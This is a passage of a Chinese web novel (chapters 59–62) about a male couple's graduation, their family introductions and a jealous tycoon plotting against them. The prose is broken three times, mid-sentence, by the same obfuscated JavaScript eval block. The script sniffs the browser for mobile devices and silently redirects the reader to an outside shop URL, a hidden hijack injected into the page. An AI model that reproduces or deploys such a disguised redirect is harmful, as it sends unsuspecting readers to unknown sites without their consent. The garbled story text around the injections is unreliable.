“给我尝尝。”他还没说话,傅廷恩已经低头在他唇角舔了舔,又揽着他亲了亲,这个点是中午时分,虽然已入秋,中午的太阳还挺大,街道上人不多,曾闰成也就随他去了。 结果傅廷恩得寸进尺,揽着他肩膀的手往下移到臀上,轻拍了一记,在他耳朵边低声道:“想死我了。” 曾闰成瞪他一眼,“你正经点,大街上哪。” 两个人相携着走进了海德堡大学的校园。其实海德堡大学没有围墙,整个海德堡就是一个大学城,但是宿舍楼还是有门卫,要出示登记。 回到宿舍,把门一关,必然是一番胡天胡地。都是血气方刚的年纪,又十天半个月才能见一次面,自然是情如火热,烈焰焚身。 要等激情稍稍退却,傅廷恩才能开口汇报正事:“学校昨天发了邮件通知,下个月14号举行我们这一届的毕业典礼。闰成,回头我给你订机票,你答应了我的,可不能缺席。” 他将曾闰成的手指含在嘴里轻嘬着,他跟小猫小狗一样,最喜欢舔来舔去,只要搂着他,必定各种亲亲摸摸舔舔。 曾闰成一本正经的开玩笑,“你爸不会打我吧?” “怎么可能!”傅廷恩轻嗅着他的发丝,“用的我买的那个洗发水吗?好香,好好闻。”他的鼻子在他的头发里拱来拱去。 这人对情侣款已经到了魔怔的地步,连洗发水沐浴露须后水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724533|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要用一样的。每次过来那个大大的背包里都是背的这些七七八八。 “我前两天打电话回去已经跟家里说了,你会参加我毕业典礼的事情,身份暂时没说,先让他们认识你,了解你。有个循序渐进的过程比较好,”傅廷恩都已经铺垫好,“我都说了是我很重要的人,我爸妈绝不会给你一点点脸色的。” 曾闰成有些感动他的周到,“好吧,我倒不是怕他们给我脸色看,就是不想你爸妈不开心。”华国的传统家长对同性恋这事其实还是挺难接受的。 “我懂,但好在我还有个哥哥,他年底就要订婚了,他说带嫂子来参加我毕业典礼,我说不用了,我带我老公去参加他订婚礼。”傅廷恩完全不知道他哥接到这个电话,听到他说“老公”之后有多么的风中凌乱。 “呃,年底不知道有没有假……”曾闰成觉得这个速度好像有点快。 “肯定有,我都问过师姐了,她都准备回一趟俄罗斯。”自从上次和俄罗斯师姐拼酒,把师姐喝趴下以后,师姐就跟傅廷恩建立了“钢铁”一般的友谊,每次傅廷恩过来,都要约他们吃饭。师姐也是一个网球高手,水平跟傅廷恩不相上下,吃完饭,来一场网球PK也是必备项目之一。 “我们就去澳洲度假嘛,那边一二月可舒服了,我带你去冲浪。”傅廷恩在曾闰成耳边不断游说,“回头早点办签证,好不好?嗯?” “好吧。”一二月是华国的农历新年,曾闰成确实也没有其它地方可去。 ———————————————————————— 李景麟没有想到,他刚吩咐司机把车泊到门楼边,不到五分钟,就看到了曾闰成。 他第一反应以为他是来接他,因为实在是太巧。难道苏秘书告知了他行程?难道他知道我来接他?清晨起来奔忙,他连早饭都没有吃,除了司机没有带别人,就想着万一他愿意跟他回奔龙堡…… 一种久违的狂喜的情绪在他心中蔓延,但他还算稳得住,只眯着眼睛隔着车窗打量他:大半年不见,曾闰成有不小的变化,首先是穿着,他一向喜欢中规中矩的衬衫,即使T恤也是款式普通的那一种,但此刻他在秋阳里走来,身上是一件胸口有图案的短T,外面一件连肩袖的薄外套,下身牛仔裤配板鞋,看上去像二十出头的大学生,青春洋溢的感觉,倒越长越小了。阳光映照在他俊秀的面庞上,耳畔带起一点流光,他竟然带了耳饰? 但更令他讶异的是曾闰成脸上的神情,他脑海里闪现的是那天在玄武山庄,昏睡中的人醒来,苍白着一张脸,紧紧攥住他的手,“景麟,你让我走吧,我求你,让我走……”那双眼睛沉淀着哀伤,恍若破碎的表情像一记重锤敲打在他心上。这也是他最终同意他去非洲支教的原因,他这样难过,让他出去散散心也好。 而此刻,这张脸上洋溢着生动的喜悦,你看着他就知道他十分的开心舒畅,李景麟不自觉的勾起了唇角。 看他扬起手打招呼,李景麟条件反射般的想推开车门,然后,一辆飞驰而来的计程车挡住了他的视线。 再然后,就是两个穿着情侣装相对而立的身影。世界好像在瞬间调成了一部静默电影,播放着说不清是温馨还是残忍的画面: 他绽放着笑脸,桃花眼里都盛满了欢喜,在大街上旁若无人的和另一个人亲吻,温顺的靠在另一个臂弯,任那只手轻拍他的翘臀……像是有一个巨大的巴掌狠狠的扇在了脸上。 李景麟只觉得胸口有一把火在不断的燃烧、壮大,从小喜怒不形于色的教养,令他抿紧了嘴唇,按住了胸口。半晌,薄唇里吐出两个字:“回吧。” 60.第 60 章 傅太已经连续好几个晚上没有睡好觉了,傅明章只以为她是因为要参加儿子毕业典礼激动的,“至于嘛,老大那时候也没见你这么着,你就是偏疼这小崽子些。” “那也是廷恩招人疼嘛,从小就长得乖,年画娃娃似的。又粘我,吃到什么好吃的都要给我留一口……”傅太简直要流眼泪,哪里知道长大后真变成了女孩子,要直接是个女儿倒好了。 傅廷昀知道他弟的男朋友也要去参加毕业典礼,怕父母一下子接受不了,先私底下跟他妈打了个招呼,傅太从小就偏疼老二,傅明章又出了名的爱妻人设,让他妈迂回做工作比较好。 “哎呀呀,你这是干什么?儿子出息了你该高兴才是,怎么还哭上了?”傅明章给妻子擦眼泪,“廷恩这孩子打小就聪明,读书就没让人操过心,这点比老大强,老爷子都高看他两眼,将来他哥俩都娶了媳妇,你就只管摆摆婆婆的款,享享清福了。” 傅太哭得更伤心了,那股子郁结直到伦敦下了飞机都没散。傅廷恩开车来接他们,一上车,傅太就抓紧了座椅扶手,“那,那谁呢?” “闰成啊?他要明天,他从法兰克福过来比较近。我先送你们到酒店休息一下,要后天上午的仪式呢。” 傅廷恩那点子察言观色的本领全用到了曾老师身上,丝毫没察觉到他妈的紧张。当然,主要是他不知道他哥那个大嘴巴直接将自己的臆测当成事实,而且直接跟他妈说了。 一家三口吃了顿饭,傅廷恩送他们回酒店,“明天闰成过来,请你们吃晚餐,还有永安作陪,我五点过来接你们。”傅廷恩怕曾闰成紧张,还把江永安叫上了。 “闰成?就你说的好朋友?永安是江家的孩子吧?”傅廷恩的电话里有提过这个事情。“我们请他们吧,你选个好餐厅,订个位置。你这么大了,人际交往也该学着点了。”傅明章交待道,其实傅廷恩做人做事都足够出色,但在父母眼里永远是孩子。 傅太适时开口,“这闰成是哪里人?父母是干什么的?” “富州人,山区里走出来的,父母……都不在了,爸妈你们可别在他面前提这事,”傅廷恩提前打预防针,“他现在家里就剩他一个,在海德堡念博士,他专业很厉害,人又非常好……” 傅太听了只想晕倒,山区出身,父母双亡,怎么听都配不上她牛津毕业家境优渥的儿子,这可是他们从小含在嘴里怕化了,捧在手里怕摔了……看着傅廷恩那副眉开眼笑心甘如饴的样子,傅太的心就揪得不行。 这股揪心的劲儿直到第二天见到曾闰成才淡了一些,她细细的打量着,倒是个眉清目秀好生齐整的孩子,就是这身板看着挺瘦,个子也比廷恩要矮……但是这说话的声音好听,脸长得好手也长得好,耳朵看上去也有福相。 傅明章跟曾闰成聊应用数学在目前一些领域产生的影响,聊他们研究的无人驾驶项目,傅太就在一边穿插着打听生辰属相。江永安在一旁完全插不上话,冲傅廷恩打个眼色,两人一块上厕所。 “哥们,今天这局完全用不上我,你看你妈那个眼神,相女婿似的,简直越看越满意。”他脱裤子放水。 傅廷恩也是高兴,他们家闰成就是拿得出手,也不忘表扬一下江永安,“主要你陪衬工作做得到位,我爸问啥你都一问三不知,可不就显得我们家闰成学识渊博了?” “信不信我滋你?”江永安托着宝|贝,作势要转身。 傅廷恩赶紧讨饶,“别别别,这可是我新买的行头。”他今天穿得西装革履,标准的相亲装扮。“走吧,明天还得帮我们拍照,重大场合都少不得你。等我们结婚,请你坐主桌。” 江永安听得牙酸,但也忍不住强调一句,“那你可别忘了。”能做一辈子的兄弟,其实也挺好,另一种意义上的天长地久。 ————————————————————————— 牛津大学的毕业典礼保持了旧制,非常有仪式感,在穹顶花窗的大礼堂里,管风琴悠扬的乐声萦绕全场。学生们先穿校服聆听校长用拉丁文致辞,敬礼退场后再换学士服、硕士服、博士服分批入场,导师们手执象征着公正、权威的学术权杖,引领着一批批的学生们宣读誓词、光荣结业。 傅廷恩无疑是全场最靓的崽,黑色镶蓝边的硕士服包裹着高大挺拔的身躯,他深邃的双眼泛着喜悦的光芒,红润的面庞上荡漾着笑意,昔日的的少年郎终于长成了英挺潇洒的青年模样。 曾闰成的目光一眨不眨的凝注在他的脸上,回想起五年前第一次在课堂上看见傅廷恩,虽然没有异样的情愫,但内心也是在感叹这个少年长得真漂亮!没有想到会跟这个少年有这样深的缘分,会产生这样浓厚的感情和羁绊。 他的目光始终追随着傅廷恩的身影,自豪与骄傲油然而生,身侧的傅太早已泪盈于睫,傅明章轻怕着她的后背,也是一脸的欣慰。 散场后好几个女生给傅廷恩送花,又争相跟他合影。傅太看着儿子在女生堆里受欢迎的程度,心里又开始泛酸,再看看曾闰成,也是在一旁笑眯眯的看着,结果傅廷恩每次跟女生合影都要看向他,生怕他不高兴似的。 傅太心里那股子酸哟,但是能怎么办呢?儿子粘人归粘人,从小就有主意,这事她犟不过他。但是孩子还小,再慢慢看吧。 几个人穿插着合影,等到傅廷恩拉着曾闰成跟家人站一块的时候也不显得突兀,傅明章扶着傅太,曾闰成站在傅明章的身侧,而傅廷恩半挽着傅太的肩膀,四个人的脸上都洋溢着喜悦,江永安帮他们定格了这个美好的瞬间。 江永安平时也喜欢摆弄一下相机,拍出来的照片也是没得说,光线虚影都调得特别到位,傅廷恩晚上翻着照片打电话表扬他:“结婚不光请你坐主桌,还请你拍照片。” “小气!摄影师都不请一个?” “那种专业的拍全场,专请你拍我们两个。” “要不要我给你们拍几张床上的?包你满意!” “滚……” 傅廷恩看着四人合影,越看越满意,上传到ins的账号,因为露了脸,他设置了私密照片,配文是:a family photo 他翻看着这个账号上所有的照片,其实也不过寥寥几张,但却是他珍藏的回忆簿,最开始的那张便是曾闰成在简陋的出租屋里给他做番茄鸡蛋面条,他穿着白衬衫,窗外的天光给他的侧影镶嵌了一层微芒,雾气氤氲了他的眉眼。少年的暗恋在这张照片上体现得淋漓尽致。 他一张张翻看着,直到今天的合影。暗自决定等到婚礼他要用这些照片,以后再多拍一点,制成一部短片,在婚礼上播放。 婚是一定要结的,他太清楚家人对于曾闰成的意义了。求婚还得好好策划一下,要确保他们家曾老师不会拒绝才好……也许以后还可以想办法要两个孩子,看闰成喜欢男孩还是女孩…… 傅廷恩怀揣着美好憧憬进入梦乡。结果第二天就发现自己ins账号被盗号了,始终无法登录,他急得不行,虽然照片都有备份,但这是他心境的记录,意义肯定不同。 好在他是学计算机的,折腾了一下午总算把账号找了回来,照片没有丢失,也没有发布一下乱七八糟的东西,他赶紧设置加密。 这件事情本身并没有引起他的警觉,因为ins账号被盗并不少见,总有一些无聊的人。 ————————————————————————— 在苏秘书进入李景麟办公室之前,李芷玉端着咖啡从她身边走过,低声在她耳边道:“刚徐理送了一摞照片进去,出来开门的时候我听到老板摔东西的声音。”小姑娘在苏徐分庭抗礼的斗争中,是坚定的苏党。 苏秘书点点头,打起十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728669|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万分的精神,推开了君临大厦总裁办公室的大门。 饶是有心理准备,进门还是吓了一大跳,李景麟的修养和教养让他即使暴怒也没有摔东西的嗜好,扔扔资料是有,这么杯盘狼藉、淋漓一地是她跟随他这么多年来第一次见到。 她收敛了心神,恭敬的站在宽大的办公桌前,李景麟面上的神情看着倒是平静,“啪”一声将一叠照片甩到桌上,转身点燃了一根烟。 苏秘书捡起那叠照片,每一张都打印成了六寸大小,能够看得出是来自某个账号的截取,下面配有少量的文字,从“吾爱”到“a family photo”,她越看越心惊,这事串联到一起,她真是有嘴也说不清。 果然,李景麟转过身,眼神阴鸷,“看样子,你早知道?” “绝没有,”苏秘书赶紧解释,“我是在高雪维尔发现这两个人有些不对劲,但没有确切的证据,所以没有向您汇报……” “是吗?”李景麟呵呵的冷笑,“我以为你是要让有情人终成眷属,所以才三番五次的劝我让他走。呵呵呵……”他随手抓起桌上一个茶盏,狠狠一掷,“苏茜,你让我看起来像个笑话!” 苏秘书不敢躲,被淋漓的泼了一脸,杯盏擦过她的鬓角,让盘好的发髻散下了半边,茶水洇湿了精致的香奈儿套装。 苏秘书作为首席秘书,从来没有这样狼狈过,她低着头,半弯着腰,在老板盛怒的当口,辩解毫无用处。但她的双膝在微微发颤,任谁一句话可以让你十几年的努力灰飞烟灭,你也是会怕的。 难堪凝重的气氛在静默里蔓延,门口传来轻微的响动,片刻之后,一个身影闪了进来,宋奕一向是识得眉眼高低懂进退的,这回却视若无睹的随手脱下风衣丢到沙发上,缓步走过来,拿起了桌上那些照片,一一细看,啧啧感叹,“哎哟……原来是这样……” 李景麟的耐心显然已到极限,沉声道:“滚出去!” 宋奕却并不惊慌,“景麟,其实我手里还有一张照片……一直没敢拿给你看。”他打开手机相册,递到李景麟面前,“我怕你又说我争风吃醋。” 他目光滑过苏秘书狼狈的侧脸,嘴角一抹笑意闪现又消失,“苏姐也是被蒙蔽了吧,谁能想到这位曾老师能有这么大胆子呢,一边利用着景麟,一边私会着前男友……” 苏秘书抬起头,盯了宋奕一眼。他微侧着头,也在看向她,两人的目光交汇,宋奕先转过了面庞,他走到李景麟身侧,屈膝蹲下身,手攀在高大的扶手椅靠上,十分顺从又十分惋惜似的,微抬起头,低声道:“景麟,算了,看清了总好过被蒙蔽。你不要为这种不值得的人生气好吗?” 李景麟的目光凝注在那张照片上,水印相机拍摄的照片清晰的显示了时间和地点,凌晨两点曾闰成从五星级酒店里走出来……那时他还属于他,而他还为了他亲自跟美国的两所顶尖医疗机构接洽,秘书并不能代替他处理所有的事情,总有分量不够的时候。为了他的事,从不开口求人的李景麟,算是说过两句软和话。结果他就是这么回报他的…… 他抓起手机狠狠往地上一掼,转向苏秘书的方向,宋奕已经很乖觉的退到了沙发旁。 “引他们去马来西亚,把在巴拿马注册的那条游轮驶入公海。”李景麟定定看着苏秘书,眼神冰冷,“苏茜,这是你最后一次机会。” 苏秘书腿一软,几乎是半跪在地上,“老板,”她用粤语喊道,“您再考虑一下,那毕竟是傅家。那是……闰成啊。”她低下头,目光落在那摞照片上,最上面一张便是那张“a family photo”,曾闰成的笑脸是一如八年前的温润模样。她很清楚这个指令意味着什么…… “傅家?”李景麟嘴角露出一抹轻蔑的冷笑,“没有谁在羞辱我李景麟之后,还能全身而退!”他会让他们知道这个代价到底有多大。 61.第 61 章 傅廷恩的毕业典礼结束后,送走父母,他拖着曾闰成参加了一个江永安为了庆祝他顺利毕业特意攒的局,平时来往比较多的几个朋友在伦敦最大的Muse Club嗨了一个晚上。 曾闰成能跳华尔兹能跳探戈,蹦迪却是一点都不会,傅廷恩和江永安拖他到舞池,他红着脸庞,被骚动的人群弄得四肢僵硬,动不了一点。 江永安被他窘迫的样子逗得哈哈大笑,傅廷恩受不了那些男女在他身上挨挨蹭蹭,只能留他在卡座跟几个朋友玩骰子,自己被江永安裹挟着嗨了一小会,到底放心不下,结果跑回来一看,就这么一小会的功夫,曾闰成已经喝醉了。 擅长算牌的曾老师不擅长玩骰子,输得接二连三,喝得一塌糊涂。 江永安还一脸得意,“你生日的时候没有帮你达成的愿望,今儿总算是圆满了,赶紧的抱美人回家吧!” 傅廷恩哭笑不得,将曾闰成抱回新金融城的公寓,自然是一晚浓情蜜意,曾闰成喝醉了不止风情万千,也特别好说话,傅廷恩把他脱光光洗白白,然后试探着一路向下,他也没有异议,还投桃报李的……,傅廷恩觉得那股子舒爽言语难以形容。 第二天他俩一起返回了海德堡,傅廷恩打着找工作的名义,静侯曾闰成春季假期的到来。 因为只有不到一个月的时间就要放假,之前也习惯了住一起,傅廷恩不肯再另外找房子,更不肯住酒店,非跟曾闰成一块挤单人宿舍。 二十几平的房子他觉得完全足够,一米五的床,两个一米八几的大个子睡一块,他还觉得宽了。曾闰成让他把沙发床打开并一块,他也不肯。“天冷,就这么睡吧,多暖和。”他要么把曾闰成箍在怀里,要么就紧紧的贴着他,把粘人精的本色展现得淋漓尽致。 其实十二月的海德堡气温已经降到零度以下,每个宿舍都有一个供暖设备,但效果一般,两个人抱着睡一块确实很舒服。 冬天天黑得早,不到五点就已经阴沉沉乌漆漆的,傅廷恩总是早早的拉着曾闰成躺床上,这样就算“活动”完也不会太晚。 某人的欲望并没有因为天气的变冷而有所消减,把人搂在怀里,总是摸着摸着,手就开始往下游移。 曾闰成不愿意他纵欲,再者也实在吃不消,大多数时候是拒绝,傅廷恩也能忍,哼唧一会子也就过去了。但也有被他摸得欲|火翻涌的时候,或者半夜被他摆弄醒各种恳求的时候,那就只能敞开了满足他也满足自己。 清晨的闹钟将他们唤醒,傅廷恩没有赖床的习惯,即使前一晚操劳了,闹钟一响,照常掀被子起床,帮助要上班的人醒瞌睡。 曾闰成揉着眼睛,迷迷瞪瞪的,“天气这么冷,你又没什么事,怎么不多睡一会?” “要是我可以帮你去上班就好了,”傅廷恩看他困倦的样子总觉得心疼,搂着他亲亲蹭蹭,“我要跟你一块吃早餐。”他从衣柜里给他拿衣服,“伸手。”帮他把毛衣套上。 傅公子有逛网店的爱好,他对情侣款有执念,上次在迪拜买的基本是夏款和秋款,冬季的羽绒服、鞋子只能网店买,各大奢牌现在都有提供线上服务,于是曾闰成隔几天从实验室回来就面对一堆待试穿的衣服裤子鞋子。 傅廷恩就喜欢两个人穿得一模一样,然后一走出去别人就知道这俩是一对,不至于来打主意,泰国师弟每次看到他俩穿着情侣装在实验室晃悠,都忍不住要调侃几句,傅廷恩丝毫不为所动,曾闰成每天起床他已经把要穿的衣服给他准备好。 他这点小执拗,曾闰成还是能接受的,他对于穿啥完全无所谓,有人操心他也乐得轻松。 两个人裹着同款羽绒服,系着一模一样的厚围巾,迎着呜咽的寒风,跑到食堂吃一份通心粉或者海鲜粥或者三明治,然后傅廷恩再把他送到实验室。冬天衣服穿得多,两个牵着的手藏在羽绒服里谁也看不见,却能传递让彼此都感觉窝心的温暖。 午餐一到点,傅廷恩就来拖曾闰成吃饭,曾闰成说他找工作不上心,他的理由也很充分:“等你一放假,我们就飞澳洲,等参加完我哥的订婚典礼,我就开始投简历,行不行?我现在投了也不方便面试呀。” 这次傅太和傅明章过来,对于傅廷恩不急着去澳洲分公司,先在欧洲工作一年的提议都表示认可。傅太是知道他儿子打的算盘,而傅明章则是从孩子成长的角度考虑,觉得傅廷恩年纪不大,多历练一下确实有好处。 人家父母都同意了,曾闰成自然也不能多说什么。他私心里当然也很想跟傅廷恩待在一块,只是怕他因为自己而耽误时间或者勉强去从事不喜欢的工作。 曾闰成担心傅廷恩会无聊,傅廷恩反问他,“怎么会无聊?” 他确实不无聊,有时候送曾闰成到实验室,条件允许就会盘桓半天,专业相近,听他们讨论数据、测试方案,他也不觉得枯燥。 因为那顿饭,大家对师弟的这位男朋友都很有好感,机密的文件都在导师手里,他们毫不介意他在实验室里穿梭,等中午到点就凑一块吃饭,傅廷恩到底年纪要小一些,又很善谈,聚在一起总是承包笑点和引领话题的那一位。曾闰成望着人群中心眼眸闪闪笑容灿灿的青年总是移不开眼睛,有时候都有一种幸福到极点的不真实感。 他颠簸求学,告别一个个亲人,直至孑然一身,人生似乎总在不断失去,一颗心孤寂了许多年。突然出现一个方方面面都无比契合的人,将他的人生填充完满,多少会有一些患得患失,甚至有一种不配得感。惟愿相爱日深,惟愿幸福长久。 而他的廷恩不光上得厅堂也入得厨房,下午的时间他一般用来打扫家务,小小一间单人宿舍被他清得干干净净,柜子里的衣服也理得整整齐齐,曾闰成笑他上升星座一定是处女座,连积压的邮件都看不过眼。曾闰成的私人邮箱是十天半个月都想不起来看一次的,傅廷恩反正闲着,经常登录两个人的邮箱,帮他一并处理。 有来自原来金师大同学的问候,也有恒雅的学生,收得最多的是坎帕拉那所中学的师生写来的邮件。其中琳达和妮娜写得最频繁。 琳达主要为了学习汉语,隔三岔五用中文给曾闰成写邮件,妮娜则是感谢曾闰成对她的帮助,诉说一下近况,曾闰成临走留给她的那两百美元,据说帮她免去了很长时间的麻烦,她哥哥现在已经不太强求她去“做不好的事情”。 傅廷恩记得这个两百块,也听曾闰成说过这个妮娜的事情,对于两百块就能帮一个异国他乡的女性改写悲惨的命运,他觉得惊异又高兴,用曾闰成的口吻回邮件给妮娜,让她提供自己的银行账户,他不介意资助他,如果这个女生能够专心向学。 结果妮娜并没有给账号,她表示暂时用不上,等实在有需求再跟老师开口,倒是个有志气的孩子,之后她写邮件请教一些不会做的数学题,傅廷恩就会第一时间帮她解答。 曾闰成的工作也不是那么满满当当,偶尔有空会约诺亚汉斯那一对打网球,他们还没有毕业,感情也很稳定,对网球的热爱一如从前。打累了,冲个澡,一块去校外吃晚餐。有时候还加上一个俄罗斯师姐打轮局,那吃饭的时候必然要喝上两杯,生活简直称得上多姿多彩。 曾闰成对傅廷恩暂时的散漫其实能理解,毕竟念书这么多年,总算毕业了,确实可以好好放松一下,他记得他从金师大毕业的时候还开展了平生第一次旅游,和几个同学骑行到了川西。 他于是建议傅廷恩,“你要不要跟永安或者其他朋友出去玩一趟?等你回来我应该也差不多放假了。” 傅廷恩疯狂摇头,“哪也不去,你在哪我就在哪。”他箍着他的肩膀跳到他背上,跟树袋熊一样攀着他,“等你放假我们去澳洲不就等于毕业旅行了?” 他吻着他的鬓角,又移到唇上,勾缠着一块倒到床上。他们之间有那种很强的生理性喜欢,没有在一起之前还能忍得住,在一起之后那种化学反应愈发强烈。彼此都视对方为一个柔软的枕头或者一杯上头的甜酒,不是刻意秀恩爱,但事实上只要凑一块就总忍不住亲亲我我搂搂抱抱,任何一种亲昵都是身体最直接的感觉,先于理性。 逍遥的日子持续了二十多天,导师正式宣布放假,傅廷恩带着点不舍拉着曾闰成踏上了去澳洲的飞机。 ————————————————————————— 傅廷昀和未婚妻薛婵娟亲自到悉尼机场来接。薛婵娟是那种长相明艳大气的女子,性格活泼,说话很风趣,能让一直抗拒相亲,叫嚣着三十岁之前绝不考虑终身大事的傅廷昀甘心踏入婚姻,自然是十分有魅力的。 她之前见过傅廷恩,一见面就老友重逢似的拥抱他,然后又对曾闰成表露了友善,在傅廷昀还木木登登不知道怎么开口的时候,她已经愉快的和曾闰成攀谈起来。 晚上她亲自操持了一个小型家宴,介绍傅廷恩和曾闰成给自己的父母及交往密切的几个亲友认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732405|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 土澳是对同性恋最友好的几个国家之一,她在介绍曾闰成的时候直接就说的“boyfriend”,她的父母和亲友也没有表现出任何的惊诧,反而盛赞他们两个“well suited(很相配),让曾闰举止逐渐放松下来,也让傅廷恩对这个嫂子满意得不得了,一直夸他哥有福气。 但他哥对这个未来“弟媳”感觉就很一般,他先入为主,对两人曾经的师生关系耿耿于怀,而且总觉得那时候傅廷恩年纪小,多少有被引诱的嫌疑。 尤其看着高大帅气的弟弟在曾闰成面前一派小娇妻的模样,不光饭桌上照顾得齐全周到,连吃完甜品都要拿热毛巾亲自给他擦手,就觉得心塞牙酸。从小到大,他们家廷恩哪里需要伺候人? 兄弟俩虽然待一块的时间不算多,但感情一直很好,父母也是模范夫妻,他想不通他弟怎么就变成了同性恋?总不可能是天生的吧? 小时候兄弟俩都在金城,不少小女生给他弟写情书,他还记得傅廷恩穿着小西装一脸臭屁的对某个女生说着“你不是我喜欢的类型不要来烦我”的模样。 完全没有想到他有一天会对着一个男人一脸讨好的说着“这个好吃你尝尝,放下放下我来给你剥,手都弄脏了我给你擦擦”,他恨恨的将一杯伏特加一饮而尽。 晚上躺在床上还在那里意难平,“虽然这位曾老师长得勉强,学历也还行,但他比我弟大那么多,廷恩会变成同性恋估计跟他脱不了干系。” 薛婵娟在梳妆台前拍打着精华水,“什么勉强还行,人家明明长得帅学历高脾气还那么好,谁会不喜欢?你弟能追到他真是有福气。” “你怎么知道是我弟追的他?说不定是他引诱……” “好了,廷昀,你在吃醋吗?你不再是廷恩最重要的哥哥了。”薛婵娟笑眯眯的回头,制止他说出难听的话,“傻子都看得出他们很相爱。” 他们两人眼神的交汇、言语的交流、各种肢体动作细枝末节都在表达着爱意,薛婵娟看得清清楚楚。 傅廷昀气鼓鼓的点头,“看上去还算和睦,但是你知道廷恩从小到大有多受女生欢迎吗?有多少女生排队要给他当女朋友,结果他长大给别人当老婆……” 薛婵娟听懂他话里的暗示,讶异的睁大眼睛,“……你怎么会认为廷恩是……下面那一个?” 这两人看外形其实难猜上下,但她觉得曾闰成性格更温和些,而且她偶尔瞥见傅廷恩看他的眼神,带了那么一点侵略性。 “他自己说的,他说带老公来参加我婚礼。”傅廷昀颇有点闷闷不乐,虽然说都接受同性恋了,谁上谁下还有什么要紧,但傅廷恩平时言行举止一直挺爷们的,突然……反差有点大,作为家里人有种地里的白菜莫名被拱了的感觉。 薛婵娟眼珠一转,她是在国外出生长大的,不懂什么叫非礼勿听,性格又很外向,拉着傅廷昀,指了指楼下的卧室,两个人鞋都没有穿,偷溜到一楼客房听壁角。 夜深人静,果然有动静,而且来得很及时,“……闰成……你摸摸看嘛……啧你摸一下就知道它有多么想你……都这么多天了……闰成闰成……”傅廷恩的声音毫无遮掩,他当然没有想到奇葩哥嫂会恶趣味跑来听墙角,把求欢表达得明明白白,亲吻声里夹杂着一点悉悉索索被褥衣服的摩擦声。 曾闰成的声音比较低,听不清说的什么,但能感受到一点推拒的意思。 因为傅廷恩锲而不舍的恳求声又在响起:“……闰成……你最好了……一次好不好……我保证轻轻的……我会睡不着的……求求你嘛……”然后就是吮吸和舔吻的声音,原本低沉推拒的声音渐渐变了音调…… 薛婵娟拉着傅廷昀回到房间,得意的冲他挤眼睛,“我赢了吧?你还担心人家祸害了你弟,搞不好是你弟把人家缠歪了。” 傅廷昀听完亲弟弟的墙角多少有点尴尬,但所有疑窦都迎刃而消,难怪这傻小子总是笑得一副不值钱的样子,原来私底下是这么个不知餮足的无赖样。 他突然想起跟他妈的通话内容,呃,明天还是打个电话纠正一下吧,虽然在傅廷昀看来只有被别人祸害和祸害别人这个区别,但老太太也许会稍微放心一点。 订婚典礼只有十来天就要举行,届时傅太和傅明章都会过来,一些交好的世家也会出席,还是提前帮他弟把爸妈工作做通比较好,不然就傅廷恩那副痴|汉样子,他爸看不出来才有鬼了。 62.第 62 章 之所以是订婚典礼,是因为正式的婚礼要等到金城再办。傅家的大本营是在金城,亲朋好友世家往来还是金城为多。但薛家是土澳本地豪族,因此选了悉尼附近的一个私人海岛举办订婚仪式。 澳洲十二月进入夏季,正是阳光灿烂,温度适宜的好时候,碧蓝的海水一望无际,成群的海鸥在海风中翱翔,海岛上的各色常绿乔木也显得分外茂盛。 海岛婚礼近几年在澳洲的富豪圈层中比较流行,因为岛屿众多,既能保证私密性,又很便于营造仪式感。整个现场布置得美轮美奂,交响乐队从下午开始就演奏着欢快轻盈的舞曲,醉人的音乐萦绕整个海岛。 专门辟出的平整海滩上,是由鲜花构筑的童话世界,各色拱门、花墙,缠绕着轻柔的丝幔,白色的餐椅、餐桌,有整齐排列的,也有零散摆放的,供客人们自行选择。 十数个烧烤架错落排开,日式料理台围绕一侧,戴着白色帽子和手套的厨师们为前来祝贺的宾客源源不断的供应着美食。冰镇的香槟桶四处摆放,侍从执着酒壶不断穿梭在人群中,随时为空了的酒杯续上美酒。 傅廷昀和薛婵娟这会都穿着随意,准新娘穿着齐臀短裤和热辣小背心,戴了一个俏皮的白色头纱,灿烂爽朗的笑容让她看起来十分美丽,她和准新郎站在花墙外迎接宾客。要等傍晚的订婚仪式上他们才会更换更为正式的礼服。 宾客大部分乘坐傅薛两家准备的游艇登岛,也有一些自驾游艇或者水上摩托过来的,一律都是清凉的度假装扮。甚至有不少穿着比基尼的美女,估计是准新娘的同学朋友,她们三五成群的在海滩嬉戏、游泳、浮潜。有的头上还插着一两朵鲜花,为庆祝的氛围增添了别致的气息。 男士们也大都穿着沙滩裤,有的还裸着上半身,年纪稍微大一点如傅明章就会穿一件花衬衫。傅太也穿着休闲,她对这种跟国内截然不同的西式作风还是不太能接受,端着杯香槟,满场子找她的小儿子。 